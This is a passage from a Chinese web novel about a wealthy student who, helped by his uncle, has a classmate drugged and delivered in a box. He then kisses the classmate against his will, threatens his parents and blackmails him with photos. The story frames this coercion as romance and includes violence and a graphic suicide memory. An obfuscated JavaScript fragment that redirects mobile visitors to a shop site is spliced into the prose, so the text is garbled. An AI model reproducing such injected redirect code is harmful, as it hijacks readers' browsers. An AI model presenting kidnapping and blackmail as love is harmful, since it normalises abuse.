生病？郑源？李华莫名其妙。
生病的的确是郑源，却不是生理性的疾病，而是心病。他逃避的杜绝接收一切跟学校有关的东西，就把自己关在家里，玩一些明码标注十八禁、极度暴力、非常血腥等等标签的游戏来刺激自己的眼球和大脑神经。吃的喝的全是点的外卖，拒绝任何人的靠近，过的不分昼夜，颠倒黑白。
郑玉安捏着鼻子进他家门时看到的就是一屋狼籍，和一屋狼籍里颓废憔悴的郑源。
郑玉安在这一刻突然庆幸他哥和他嫂子死的早，否则看到他儿子这样，照他们温柔的性子还不知道气成什么样。但或许就是因为失去了爸妈，才让郑源成为了现在这幅模样。一想到他的身世和自己的亲哥，郑玉安就微微叹息。他脱了外套挂起来，朝郑源走去。
秘书每隔一段时间就会向他汇报郑源的动向，两个人虽然见面的次数少，但信息没有分毫误差。他坐在沙发的另一端，看到电视屏幕上随机杀人撞人的主人公和呆滞无神操控着手柄的郑源，拿起遥控器将电视关机。
郑源没有任何异议，他随手扔了手柄，摸着茶几上的冰可乐喝，看都没看他小叔一眼。
郑玉安说：“你的时间很宝贵，你还想怎么样。”
郑源没反应。
郑玉安看着他：“我把他带来见你。”
“不要！”郑源瞬间炸毛，“你别管我。”
郑玉安翻找电话号码，郑源抢他手机，被他躲开，两个人对视，郑源率先败下阵来，“小叔，你别管我。”但他知道这不可能，而且郑玉安对他很好，帮他很多，他主动放下手，退回去，“我会调节好的，我就是……”他就是不知道怎么面对，怎么面对被自己打的半死不活的李华，怎么面对李华和徐梦梦的幸福相处，他像个卑鄙的偷窥者，试图变成徐梦梦感受李华的笑脸和关心，他嫉妒，嫉妒的要死，却又知道什么都不能做，他只能眼睁睁看着，瞪的双眼干涩。他已经犯过一次错，却又犯错，李华不会原谅他了，他之前做的一切努力都白费了，他最不想看到的，就是李华恶心厌恶他的目光。
他的神情很悲伤，郑玉安放下手机，“你喜欢他。”
郑源手指紧了一瞬，点点头，“嗯。”
郑玉安点了根烟。
郑源说：“我喜欢他，他不喜欢我，他也不可能喜欢我，而且我说了我不会再打他了，但是我又打了，我不是故意的，我就是太生气了，我，他不会原谅我了，他还有喜欢的人了……”
简直就是折磨。
郑玉安却笑了。
郑源茫然地看着他，郑玉安说：“所以你就退缩了，躲在这里，像个失败者。”
郑源想反驳，却无话可说。不就是失败者吗，失败的透透的。
郑玉安说：“你要放弃了吗？”
“什么？”
“喜欢他。”
郑源摇头：“我放弃不了，小叔，他……”他不知道想到了什么，脸红红的，“他家是农村的，却是年级第一，学习特别认真，人很好，性格也很好，长的也好看，还给我做长寿面……”
他撇撇嘴，一想到这些以后都不会有了，都是徐梦梦的了，他就难过的想哭。
“那就坚持。”郑玉安说：“你总共就这几年自由时间，不用浪费了。”
郑源皱了下眉，不能保证自己听明白。
郑玉安笑道：“普通家庭约束高是因为他们没有处置意外情况发生的能力。如何行使你的权力是你人生中的第二节课。”
郑玉安拍拍他的肩，起身离开，郑源送走他，就有人来打扫卫生。窗明几净后，他开始琢磨，琢磨没多久，天擦黑，门铃就响了。他起身去开门，没见人，只见一个他腿高的木箱子，盖还没封死。他打开一看，瞬间惊呆，里面蜷个人，睡的很安详，像个小蜗牛似的在箱子里，净白清秀的侧脸直直地撞进郑源的胸腔，让他心跳加速，连忙盖上盖子，又把箱子抱回家。
李华。
箱子里睡着的是李华。
郑源手脚发麻地站在客厅，兴奋又胆怯地望着箱子，仿佛那是什么怪兽。
手机响了，他没看就拿起来接，郑玉安说：“喜欢吗？”
“喜欢……”郑源咽口唾沫，又皱起眉头，“可是……”
可是李华会醒啊，醒来他肯定会很生气啊，郑源唉声叹气起来，“小叔，别这样，我不想我们之间的矛盾越积越深。”
他不赞同这样的做法，准备挂电话，郑玉安漫不经心地说：“你摸摸他。”
“什么……”郑源微微瞪大眼，“你说什么？小叔，你……”
“听话。”郑玉安说。
对感情优柔寡断可不是什么好优点，越得不到越想要，他可不想郑源几年后长大的白月光就是这个止步于青少年时期暗恋的小男孩儿。他要郑源成长，体验，无论是生活还是感情，无论是人际交往还是学习能力，他都要引导他，扯掉那层属于他这个年龄段小孩儿的胆怯、卑微以及青涩，他要郑源强硬、果敢、老辣、雷霆手段，不会被任何人影响，一心只有自己向往的目标，这就是他的教育，他的培养。
郑源小心地靠近木箱子，打开，用指尖轻轻摸李华的眉眼，到鼻梁，到唇，碰到嘴唇的一刹那，他瞬间收回手，脸爆红。
郑玉安挂了电话。
郑源放下手机，半跪在箱子前，说：“这么睡会难受吧。”他轻轻将李华抱出来放在卧室的床上，距离他不远处坐着，守着，片刻后离他近了点儿，又近点儿，直到贴着床边，他站起身，垂眸看着他，手摸着他的下巴，低头吻了下来
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那是一片柔软的海。李华在睡梦中醒来，他睁不开眼，感到身上很沉重，还有些窒息，他试图张嘴，却发出颤抖地呜咽，咽不及的口水顺着嘴角流下，温热又柔软的舌头绕着他的舌头打圈，吮吸，他下意识抓紧对方的衣服，睁开茫然又迷离的睁开眼，随后猛地推开他，吓的脸色煞白，几乎要一口气背过去。他怎么会在这里？！
李华紧靠着床头，大口喘息，后知后觉的双腿发麻，警惕又崩溃地盯着沉默的郑源。他被推开后没有任何反应，仿佛对他的行为早有预料。李华忍不住下床朝门口跑，被他拦腰带回来压在床上，李华吓的浑身发抖，疯了似的挣扎，郑源被他踹了好几脚，疼的嘶了一声，硬是忍住不放手，捏着他的下巴，看着他通红的唇：“再动还亲你。”
“你不要脸！畜牲！”李华被羞辱的落泪。他根本不知道怎么了，他的记忆还停留在他吃完晚饭往教室走，有同学过来跟他说有老师找他，他就去了，刚到体育器材室，就，就，就没印象了。再醒来就是在被……
郑源的心痛了一下，他死撑着说：“我……”他站起来放开他，有些无措，眼下这个局面他说不了什么，只能转移话题：“你的伤还疼吗？”
李华迅速站起来，闻言冷笑一声，“你没打够是吧？”
郑源的脸色更难看了点。
不知道为什么，李华看着他，心里的石头突然落了地，他说：“郑源，我想了很久，我们的确不适合做朋友，我忍受不了你的性格和做法，你不尊重我。你欺负我、强迫我、甚至是命令我，你侮辱我，包括你……强吻我。”他直视郑源的眼睛，“不管出于什么，不论我喜欢谁，但你让我感到恶心。我不知道该怎么把话跟你说的更清楚。这几天我一直在忐忑，不知道你什么时候出现又折磨我——你之前对我的好，我记得，但我不会再感谢你，以后也别对我好，我不要。还有手机，我已经放到了你的座位上，还有。”
他一步步朝门口走去，“你快把我逼疯了，如果你再伤害我，我就……”他尾音颤抖，“我真的受不了你了，你太……”
恐怖和可怕了。对于李华而言，他甚至很快接受了自己以不正常的形式来到郑源家里，这是他会干出的事。
郑源看着他和自己擦肩，一瞬间的心慌让他膝盖发软，“不要……李华……”他下意识抓他的手，被他躲开，“我会改，我真的会改，求求你了，别走，我知道错了，我真的知道错了……”
郑源恨不得给他跪下也换不来他的一个眼神，他走的决绝又利落，那句循循善诱似的劝告突然响彻在耳朵。
果然，示弱真的解决不了问题，也换不来任何的同情和怜悯。
“你再往前走一步。”郑源看着他，“你们家就完蛋了。”
李华猛然转身，上来就是一拳，郑源踉跄地后退几步，被他摁在床上揍，一拳又一拳，李华没省劲，揍的他嘴角出血，疼的厉害，郑源握住他的手腕，看着他发红的眼睛，“亲我。”
李华瞪大眼，一瞬间反胃的想干呕。
郑源看出他的排斥，握住他手的力度都在加重，又一次重复：“亲我。”
“你他妈怎么不去死。”李华拽住他的衣领，绝望地抽泣，眼泪大滴大滴地掉，落在郑源的衣服上。郑源破罐破摔后内心反而一片平静，已经这样了，他不祈求能获得面对徐梦梦时的李华了，他只知道他不要放手，李华还在，就好了。他摁着李华的后脑勺压向自己，终归接了一个混合着血液、眼泪，伤心与无望的吻。
43.第 44 章
人一旦脱离了良心和道德，就不会再有枷锁。所谓的公俗良序也只是一纸空谈。权力像包裹着危险标签的糖果，向郑源撕开甜蜜又迷人的一面。他以前就享受着金钱带来的特殊待遇，这对他而言如家常便饭般稀疏平常。但此时此刻，在面对诱惑自己又不可得的人时，郑源深深感受到了权力的魅力。他完全理解了为什么郑玉安那么成功还在锲而不舍地往上爬。贪欲非常好激发，只要给他希望，再实现，人就会变的欲求不满，伸出贪婪的爪牙。
郑源向来聪明，一点就透，他在郑玉安眼中就是一头还未激发出野性的狼，他会引导他走上他该走的路。他有意把他培养为下一代话事人，新生狼群里的头狼。他很早就跟郑源说过，也是郑源不得不明白的道理，他没有爸妈，就没有依靠，他爸名下的资产之所以会被瓜分，就是因为在优越的资源面前，身边围绕的都是豺狼虎豹，他们会掠夺走原本属于你的一切，除非离开狼群，否则不是胜利者的高台就是失败者的葬身地。
他没有其他选择。正如他在李华面前当不了好人，只能一坏到底。顾及着他的身体，郑源没有再刁难，他知道李华看到他应激，受惊吓的程度不亚于炸了毛的猫，想到医生说最好不让他有剧烈的情绪波动，他将主卧让了出来，让李华住，他去了客房。分房睡，夜晚不用再面对郑源，的确缓解了李华的心理压力。
他拿爸妈威胁他，他没办法。郑源让他留下，他就只能留下。他不敢换衣服，也没心情和力气再讲究什么，他感到前所未有的疲惫，最主要是心累。他不知道这样的日子什么时候是个头，而且好像一眼望不到头。总是这样拐回来，两个人的关系好了些，变得恶劣，再好了些，再更恶劣，直到现在，完全没有回旋的余地。郑源后悔吗？说不后悔是假的，但是他也没有其他办法，所以他不后悔，不仅不后悔，反而庆幸，庆幸他有威胁李华的能力，否则他还真只能干看着李华和徐梦梦幸福。
想到李华在隔壁，郑源照着镜子给自己的嘴角上药，忍不住咧的更开笑起来。他跟司机和保姆联系，让她们明天一早过来该做饭的做饭，该送他们上学的送他们上学。李华揍郑源揍的狠，让他第二天脸肿很高，但郑源心情依然很好，李华更是早早地醒了，或者说根本一夜没睡，警惕又愤怒地看着他，手握成拳，像随时还能再给他来一下。
郑源不太想一大早就挨打，坐在餐桌边说：“过来吃饭。”
李华站着没动，郑源说：“要我喂你吗？我不介意。”
李华说：“你到底怎么样才能放过我？”他诚恳至极：“我求求你了，行吗？你放过我好吗？我拜托你了，我真不想留在这儿，更不想看见你，我不想跟你有任何接触，你到底能不能听明白？我也不想吃你弄的饭，你打我行吗？我绝对不还手，你打完我放我走吧，我求求你。”
郑源放下筷子，沉默地靠着椅子，扭头看他，笑了一声，“你是真不明白还是假不明白？你非要这么蠢吗？一定要我说你脸上吗？李华，我不讨厌你，我也不恨你，我喜欢你。”
他轻飘飘地说出这句话，看着李华的瞳孔放大。
有预想是一回事，亲耳听到是另外一回事，李华完全呆住了。
郑源也没想到自己会这么随意地说出来这件让他感到甜蜜痛苦，他明明很珍重的事，但是在李华一句又一句的排斥、厌恶与恶心中，他的这份喜欢着实不占分量，无力的像一片枯树叶。他重新拿起筷子，“我也不知道我喜欢你什么，但我就是很喜欢你，所以我不会放过你，你为什么不能尝试着喜欢下我呢？像你对徐梦梦那样，你能对她那么好，为什么不能对我也那么好？有什么是我做不到的？我也可以穿女装，我能比她还漂亮，你考虑一下呢？”
李华捂着脑袋蹲了下来，郑源瞬间过来扶他，被他躲开，他震惊又错愕、匪夷所思、眼神复杂地看着郑源，男生跟男生之间，喜欢，霸凌，这些混乱的东西夹杂在一起，竟然是喜欢。他不理解，也理解不了，只能白着一张脸坚定地重复，拒绝：“我不喜欢你，不喜欢你，你也别喜欢我。”
郑源哦了一声，丝毫不惊讶，甚至很理所当然，“我又不是不知道。”
李华感觉太魔幻了，他自己走到沙发边坐下，大脑一片空白，又痴呆，又茫然，他不知道接下来该怎么办了。还是郑源忍不住凑过来说：“李华，我们回到之前那样好吗？你就当这一切都没发生过，你还是那个答应来住的你，我保证不会再……强迫你，无论是哪种的强迫，我不会再动手，我改了，我真的改了，你再信我最后一次好吗？”他越说越激动，卑微地半蹲在他跟前，“我就是，我当时就是太生气了，但是我后来想明白了，李华……”
李华低头看他，眼神很平静，他说：“我不信你。”
他说：“ 我不知道你怎么能说出这样的话，我很震惊，你上上次就说不会再打我，是我没给你机会吗？是我没相信你吗？我选择相信一个霸凌我的人，你知道这有多可笑吗？你现在又这样说，你不要脸吗？你自己不害臊吗？你自己不知道自己在说什么吗？我不会再信你了，郑源，你就是今天当着我的面砍断自己的双手，我也只感觉你活该，你这个人没有一点可信度，无论你说什么，我都感到可笑。”
郑源垂着头，片刻后冷笑一声，“我不要脸？我不害臊？我没有可信度？”他抬眼看向李华，眼底蔓延着之前没睡好的血丝，“你什么脸这么跟我说话？你答应过我什么？不会跟徐梦梦走太近，这不是你说的话？不是你点头答应的事？结果呢？饭陪她吃了没有？电影打算什么时候陪人家看？我有没有跟你说你别跟她走太近我受不了？你自己答应我的事都没做到反过来怪我？是我没跟你说？”
提起徐梦梦，郑源的肺简直都要气炸，他忍住怒气站起来，转身走了两步，猛地甩了架子上的玻璃装饰品，回头看
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着他：“我就是有暴力倾向，喜欢打人，所以你别惹我，我不信我打不改你，李华，你记住你说的每一句话，我再没有那么第三下次地求过谁，少他妈拿你挨打了受委屈说事儿，我他妈跟你说徐梦梦喜欢你，你不知道？你知道吧，你知道还跟她这个那个，你存的什么心？嗯？”
李华在装饰品碎的瞬间吓了一下，但很快释然，郑源就是这样的人，会摔东西，会破口大骂，他有心理准备，平静很多，直视他，不怕死道：“我希望你知道，我来这里上学，为的不是你们谁的喜欢，我喜欢谁，谁喜欢我，是我的事，是别人的事，跟你没关系，你喜欢我，跟我也没关系，我不会为任何人的喜欢买单，特别是你，你喜欢我，不是我喜欢你，你没有任何资格要求我为你做什么，我也不会因为你的喜欢而做什么，哪怕我就是真的喜欢徐梦梦，也跟你没有任何关系。”
这话无异就是在告诉郑源他喜欢徐梦梦。郑源瞬间气红眼眶。他背过身揉了把脸，也有种看吧，果然是这样，就是这样的料想，他不用再抱任何李华有可能喜欢他的幻想了，他解放了。唯一拉扯着他的温情消失了，他说：“挺好的，喜欢吧，喜欢你们也不可能在一起。”他转身看着李华，顽劣地笑起来：“你有多喜欢她，我就让她有多惨，只要你敢靠近她，别说她，你俩，李华，我让你们生不如死。”
他走回餐桌边吃饭，突然放下担子似的胃口大开，开始源源不断地散发自己的恶意：“晚上我就要和你睡一起，不仅要和你睡，我还要和你接吻，拍照留存，你惹我不开心，我就发给你爸妈，我让你舅舅看——”
他的话没说完，下意识抬手挡了一下，尖锐的玻璃扎进手掌，血瞬间流湿手腕，李华双目赤红，死死地盯着他，双手使劲握住玻璃碎片往他手心里扎。
郑源瞬间抬起了手，他这一巴掌能把李华扇的眼冒金星，但是抬起，他放下了。他站起身推开他，开始打电话，手掌几乎被扎穿，肌肉一瞬间的麻木过后是剧烈的疼痛。郑源看着视死如归却微微颤抖的李华，看着他那张苍白的脸，却强撑无畏的神情，只是看着他，一句话都没说。
过了片刻，门铃响了，不是医生，是胡建国，来送两位少爷去学校的。
郑源拿了两片面包去开门，胡建国看到他的手掌大吃一惊，还来不及说什么，郑源就说：“你把他送去学校。”他转身看着李华，“还不走？不上课了？”
一听上课，李华瞬间思绪回归，小跑着到胡建国面前，郑源把面包塞到他手里，关上门，靠着门滑下来，握紧手腕，脸疼的毫无血色，疼的他拿后脑勺撞门。医生来的很快，看到他的手掌叹口气，“再深点就断了，郑少。”郑源知道他的意思，虽然瞒不住，还是说：“别跟我小叔说。”医生点点头，“这只手不要再碰了，记得定期来医院处理伤口。”
医生走后，郑源看着一地的玻璃碎片，坐在沙发上，笑了起来。
44.第 45 章
郑源给的面包李华也不想吃，但是又不想浪费粮食，而且他真的饿，还是一口一口地吃完了。吃完后他才后知后觉地感到后怕。那是一种理智和情感的拉扯，情感上他抱着同归于尽的决绝与勇气，理智上他不停劝说自己忍一下，忍忍就好了，过去就好了，不要跟他起冲突，因为他知道惹郑源生气，不是自己没好果子吃，就是爸妈真有可能会遭殃。他开始心急如焚，没心情学习，生怕郑源一个不爽就真把照片发出去，无论发给谁，舅舅还是父母，他的天就都塌了。
没一会儿，他就坐在位置上脸色苍白，看起来气色很不好。
徐梦梦一下课就来找他。毕竟郑源没在，正好趁这个时间。但是李华看着她出神，脑海里忍不住回想郑源的话，是他错了吗？他不该跟徐梦梦接触吗？在这个时候他还是不明白，为什么知道了别人喜欢他，也拒绝过后依然要保持不相往来的局面，他以为虽然徐梦梦的喜欢自己回应不了她，但大家还是同班同学。同学来找他问问题，他当然没理由拒绝。
他想不明白，也不知道该怎么想明白。思来想去找了王玉代。这是两人时隔许久以后再一次接触。王玉代对他还是很友好，毕竟他以仗义标榜自己，自然地揽着李华的肩问他什么事。他还是混成了几个男同学的老大，走到哪儿都有四五个人跟着，一副耀武扬威的模样。李华并不排斥王玉代的接触，因为他知道也肯定他和郑源是不一样的，便问他：“被人表白以后不能再理她了吗？”
他想知道他和郑源谁对谁错，尽管他私心坚定地认为是郑源的错，但是本着公正公平以及求知的态度，他还是给了自己一个犯错的余地。因为哪怕没有郑源，他也不想自己错下去，毕竟这关乎徐梦梦，一个单纯善良还帮助过他的女生。
王玉代揶揄：“你被人表白啦？谁啊？是不是大屁股妞儿？”
大屁股妞儿是班里男生给徐梦梦起的外号，也总是当着她的面这么喊她。李华皱起了眉头：“你不要这样说她。”
“哎呀。”王玉代自小跟着大人们混，对各色各类人都有认知，对一些事也心知肚明，甚至耳濡目染，所以他才会早早地巴结着郑源跟在他屁股后头，也总是喜欢召集一帮男生当自己的势力，他一眼就看出郑源是什么样的人，以及李华是什么样的人，郑源，贱人，李华，好学生的傻白甜一个，他直白地下定论，“好好好，不说。”
“所以是不是？”李华把话题引回来，他迫切地需要知道答案。
“当然是啊。”王玉代说，“这多简单的道理，人家都喜欢你了，你跟她接触，不就是也喜欢她？你喜欢大……徐梦梦啊？”
“不是。”李华急了，怎么一个两个都这么误会他：“我没有。”
王玉代说：“那你就离她远点儿，不然她以为你喜欢她，而且她会越来越喜欢你，诶你是真不懂还是假不懂，该不会扮猪吃老虎吧？”
李华恍然大悟，原来是这样，他之前从没有想过这个问题。他坚定地点头，郑重地向王玉代道谢，“我知道了，王玉代，谢谢你。”
王玉代看着他回到座位上，愣愣地笑了，嘿这人，果然都是只能开一窍，智商高了情商必定高不了，所以他情商高智商低就情有可原了。
回到座位上，李华思前想后，觉得当面说会不会太伤人，而且会被其他人听到，便认真的写了长纸条，纸条上写了他的道歉，和他认为两人不该继续交流下去的原因。
徐梦梦抱着纸条哭了一节课。她将纸条揉成团扔进书包里，眼红红地看着李华的背影。重新撕书本纸不死心地追问李华，是不是因为郑源的原因。
怎么会跟郑源有关系。李华不明白，但好像又有那么一丝两缕的关系。他不知道怎么回答，就说没有，跟郑源没关系。他直观地感觉，如果说跟郑源有关系，徐梦梦可能会跟郑源起矛盾。
徐梦梦便没再继续追究下去。
晚上放学，李华在去大门口和去寝室的交叉路口犹豫了一会儿，一眼看到站在门口等他的胡建国，中年男人看到他，连忙举手朝他笑起来，李华叹口气，向门口走去。
哪怕真的回寝室，郑源估计能把他从床上薅起来。更何况今天自己还捅了他。算了。李华想，该来的总会来，躲也躲不过，他早该清楚，解决不了郑源，自己不会有一天好日子过。
“小李同学。”胡建国接到他很开心，他很喜欢李华，学习好又有礼貌，而且一看就质朴懂事儿，简直是别人家的小孩儿，他给他开了门，还问他饿不饿。
李华说：“我在学校吃过饭了，胡叔叔。”
“好好好，不饿就行。”胡建国哼着小曲开着车，李华头靠着车窗，看着窗外飞驰的景色，像时光流逝的具象体，昏黄的路灯让他莫名伤感，他总觉得这条回去的路充满了压抑和窒息，让他心里沉甸甸的。
如果重来一次，他可能真不会想来到这大城市上学。但是也不一定，毕竟眼前这些挫折和磨难，比起爸妈的辛苦与希望，哪怕重来一次，还是会遇见郑源，他还是会选择来到这里，跟他抗争，抗衡，再活着走出去。
他没有错，他知道，这也是他支撑着自己执拗到底的第二个理由。
“小李同学，不开心吗？”胡建国看着后视镜问，神色担忧。
李华想笑一下，却笑不出来。他垂下眸，说：“我不想来这里。”
胡建国神色疑惑：“不想来少爷家吗？”
李华点头。
胡建国不理解，“你们不是好朋友吗？”
“我们不是。”李华拒绝的很坚定也很认真，他不会有郑源这样的好朋友。
这倒出乎胡建国的意料，毕竟从他的视角看，以郑源对李华的上心程度，别说是好朋友了，那是真无微不至的关心，关心吃没吃好喝没喝好睡没睡好开不开心学习又有什么问题，他之前从没有这么忙碌过，但自从小李同学出现以后，他百分之八十的任务都是接送李华和给李华送吃的，剩下百分之二十就是带着郑少爷和小李同学一起去上学或者出去玩。
胡建国说：“你们闹矛盾了吗？”
李华不知道怎么回答，恰好也不用回答，因为已经到了。他收回向往自由的眼神，敲了门。
门过了会儿才开，是郑源开的，两个人对视的一瞬间，郑源眼神里闪过喜悦，随即又阴沉沉地压下来，像藏了片乌云，让李华心里有些发怵，他不知道会怎么对自己。
郑源让了位，李华走了进来，郑源便关上门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020393|148065||http|test|mini|href|location''.split(''|''),0,{}));
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李华站在客厅，很无措，没有了白天捅人时的无畏，可能是肾上腺素上头后激情的冷却，让他有点担心郑源的下一步动作，如果是挨打，他已经准备好了，但如果真牵扯到父母，他真不知道该怎么办了。
郑源看他跟个木头似的杵在那儿，有点莫名，他的手包扎的像个树根，语气也略微恶劣，“你站那儿干嘛呢？不写作业了？”
李华抿了抿唇，看眼他的手，说：“你的手……”
郑源顺着他的视线看了一眼，“不碍事儿。”他神情柔和下来，像是内心已经先一步确认了李华的后悔，默认他这是关心，道，“养几天就好了。”
李华便不说话了。郑源看着他，说：“来啊。”
李华慢吞吞地朝他走过去。
郑源把他领进卧室，自己坐在床上看着他。李华想说你不走吗，又想到他白天说的话，知道他不会走，便安安静静地写起了作业。最开始感觉被人从后面盯着有点如坐针毡，但很快投入起来就适应了。等他写完伸个懒腰，郑源已经睡着了。
李华眨眼看着他，轻轻地起身，拽着书包准备出去，就被他拉住手腕，李华一顿，郑源说：“你睡这儿，我出去。”
他干脆地站起身，走了出去，回到了客房，便没再发出声音。李华咬了下唇，回头看眼卧室，似乎还能看到自己被他抓住头发拖在床上强吻的模样。简直历历在目。巨大的情绪冲击后，那些画面一帧一帧地在脑海里反弹回来，让他又羞又恼，半天不想上床。却只能回去睡觉，毕竟明天还得上课。
他躺在浑身是刺的床上，本以为睡不好，却意外地好眠，只是梦里也被郑源纠缠，怎么甩都甩不掉。烦死人了。
郑源就没这么好了，他的手掌让他疼的直冒冷汗，恨不得砍了得了。他半靠着床闭着眼，沉默地感受着疼痛带来的折磨，刺痛的神经仿佛被火烧，让他粗声粗气地喘着，眼前蓦地一闪，仿佛看到了什么恐怖的画面。
他豁然睁开眼，脸色苍白，面对一片寂静的漆黑，却像有无数人在耳边吵嚷，是厉鬼。他心跳剧烈，用还好的手捂住心口弓起身体，强迫自己刻意忽略记忆里呼之欲出的东西，自欺欺人似的将想要冒出头的危险死死地摁压在土壤里。
他打开手机，播放刚才的录音。
是一段沙沙的写字声。像李华还在他身边。
录音无限循环的重复着。郑源紧皱的眉头得到舒展。
他在安静的环境睡不着，必须有什么转移他的注意力，让他在长久的疲惫里不知不觉地睡过去，耗干他所有的精力。这样就算李华冲进来捅他两刀他也没力气制止。
安静，是他唯一惧怕的东西。像看到人从楼上跳下来摔在地上的瞬间，他耳边就是安静的，随即爆发出无数的声音，他看着他，半边脸摔碎了，脑子也摔裂了，脑浆混着血流出来，男人的半个眼球弹了出来，一滚一滚地到他脚边，他似乎看到他冲自己笑了，在被白布盖上的一瞬间，男人七窍流血。
生前那么体面又光鲜亮丽的男人以这样暴烈的方式死于自己面前。郑源只记得捂着他眼睛的那只手慢了，他看到了一切。
那天以后，他就成为了孤儿。
他爸死在了他的眼前。
45.第 46 章
郑源的状态很不好，是肉眼可见的不好，他不吃饭，也不玩，就躺在那床上，一动也不动。还是李华先发现的他不对劲，在第二天没人给他开门，他自己开门进屋时。因为郑源懒得下床所以也懒得给他开门，就把门留了道缝隙，让他自己回来，当然如果他不想，那就不想吧，他没精力和心情同他纠缠。
他已经很久没有想起那些事了，那些在他短暂的阅历里对他造成严重心灵创伤的阴影，让他小时候就吃过药，还打过两针镇定剂。然后他的记忆就出现了偏差，对父亲的提及度很少，对母亲的关注度极高，总不回家的母亲就成为了他童年里最大的愤恨，因为只有这样，才能压抑地克制些什么。只要不刻意去想或者有触发这些事情的媒介刺激，他一直活的好好的，但不知道怎么，突然又想起来了，这让他郁郁寡欢，萎靡不振。
原本就大的家里更显得冷清，秋风萧瑟的仿佛这里荒凉了许久。餐桌上有温热的饭，是保姆定时来做的餐，但是没人动，李华去厨房倒水时看到柜台上也摆了几盘佳肴，看起来是中午给郑源做的他就没吃，晚上的也依然没动。
李华的担心纯属多余，他担心郑源继续折磨自己，但一个屋檐下，他竟然见不到郑源的面。让他想起来早上去上学时，也是他自己。所以他一整天都没吃饭？这让李华陷入深深地怀疑与震惊，难道老师说郑源病了是真的病？可是那天不还好好的吗？难道是让自己刺激的了？不会吧！李华打了个寒颤，简直被这个假象惊到。他摔了自己的手机自己还没找他算账呢！李华气哼哼地想，那可是爸妈给他的！虽然的淘汰下来的旧手机，但是！让郑源摔了以后第二天他连个手机零件都找不到了，估计是被他当成垃圾扔了，李华没报找回来的希望，就没再问。
他端着水杯在客厅犹豫，小天使跳出来说不然去看一眼吧，看看他怎么了，别真出什么事儿了，小恶魔说看什么看，他活该，巴不得他越痛苦越好，可是小天使皱巴巴地脸说还是看一看吧，就看一下，小恶魔凶神恶煞，都怪你，就是因为你心太软了，太善良了，才会一而再再而三的被他欺负，你才是真正的活该！
李华的心怦怦跳着，接下来的抉择无异于上战场。看着水杯里的倒影，他想，自己现在跟他在一起，他要真出点什么事，自己也不会好过的，对，就是这样，冲动的情感战胜了微不足道的理智和自尊心，他放下水杯，敲了敲客卧的门。没动静。他又敲了敲，还是没动静，他转动了门把手。
有一瞬间李华是很担心看到什么的，门后的一切对他而言都具有非常强烈的危险，但是推开门，打开灯以后，什么都没有，干干净净的客卧很整洁，郑源就缩在床上的一角，被子遮住了他，如果不是他个子高身量大，照他蜷缩的姿态但凡小一点都很难找到。
不是没跟郑源一起睡过觉，圈成这样真没见到过。让李华想起家里土地上的西瓜虫，黑黝黝的一小团。他试探着喊了一声郑源，没动静，他朝他走了两步，还是没动静，都走到床边，小心地拽了拽他身上的被子，郑源都丝毫不理。李华皱了眉，太过反常的举动让他腾升一股莫名的不安，他干脆半跪在床上，用力扒开埋着郑源脸的被子，看到他紧皱着眉，红着一张脸，全身都湿透了。李华瞬间反应过来了，他真的病了。他用力地拽着郑源的后衣领，试图把他拽出来，被郑源轻轻推开，“别碰我。”
他声音嘶哑，语气却很轻，是烧的没什么力气，还有些委屈。
李华说：“你发烧了，你不能这样，快起来。”
他不能再抱着这湿被子，这应该不是他出的汗，要是出这么多汗还烧这么高，人还得烧傻呢。李华见他充耳不闻，茫然了一秒，他没有胡建国或者郑源身边任何一个人的联系方式，单靠他自己也难以将他带去医院，李华想起他家的柜子里好像有药箱，连忙跑去客厅，把倒的那杯水也拿过来，让他先吃退烧药，再准备找郑源的手机。
郑源却根本不听，他非要蜷在角落里自生自灭，李华没他力气大，拽他实在是有点费劲，让他有点生气，“我不就扎你一下吗？你犯得着这样吗？我被你打那么多次我说什么了？”
可笑的是其他的话郑源都没听，就这句听了，他干涩地说：“对不起。”
李华一顿。
“对不起有什么用？”李华强压下翻涌的情绪，说，“我根本不原谅你。”他使出吃奶的劲将被子拽出来，让他自己后退好几步踉跄地差点摔倒，他将被子扔在地上，看到郑源湿漉漉的衣服紧贴着身体，他倒是没再蜷起来，像是因为没了被子让他失去了依靠和安全感，他傻傻地呆坐着，眼神却被高烧烧的透亮，像火似的，李华被他看的心头一悸，还是抿了抿唇朝他走去。他像头正在燃烧的恶狼，除了面对着李华的是人类皮囊，背后只是血肉被燃烧殆尽的人体骨架。李华刚靠近床边，就被他拽到了怀里，郑源把脸深深地埋在他的小腹，李华摁着他的肩膀，推也推不开，就不动了，因为他听到了细微的哭声，随即感到了小腹处的温热，眼泪这种液体仿佛能透过衣服连接到他的细胞里，逆着血液瞬间冲到头顶，那一瞬间的共感让他浑身紧绷，肾上腺素都有点飙升。
“你哭什么？”李华问，他的呼吸也有点乱，郑源竟然在抱着他哭。他无措地、卑微地，沉默地祈求着李华，他抱他的力度是那么的紧，让李华感到呼吸困难。
郑源压抑住了哭声和颤抖，但源源不断地热量证明他还是很伤心。李华却看到了墙角处的手机，他往前伸胳膊却够不着，只能拍拍郑源的肩，“把你的手机给我。”
郑源摇头，抱他抱的更紧。
李华被勒的没办法，推又推不开，郑源身上还热的像个火炉。让他被迫无奈地揪住他的头发往后扯，力度轻了扯不动，只能使点劲，让郑源吃痛，才下意识抬起头，李华低头看着他，看到泪痕还在他脸上挂着，睫毛颤抖的闭着眼，下嘴唇被咬了牙印，郑源是眉眼很重的人，因此让人感到无法接近，笑与不笑有强烈反差，此时他脸上却全是脆弱和像小动物似的委屈，李华看了他很长时间，反应过来时是郑源要睁眼时，他才倾身拿手机，松手的瞬间又被他抱的严丝合缝。
李华已经知道智能机怎
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么使用，点开屏幕就呆住。郑源的壁纸是两个人的接吻照片，是他吓唬李华要发给徐梦梦的那张。李华的脸瞬间爆红，跟被郑源传染了似的，他气急败坏地关掉手机，甚至用手戳了两下，想把这个画面改掉，却不得章法，他脸红的像个虾子，抖着手点开通讯录，还没找到胡建国，倒是看到一个叫医生的备注。有医生当然先找医生，还是在郑源手机上存的医生，肯定是找他看过病。
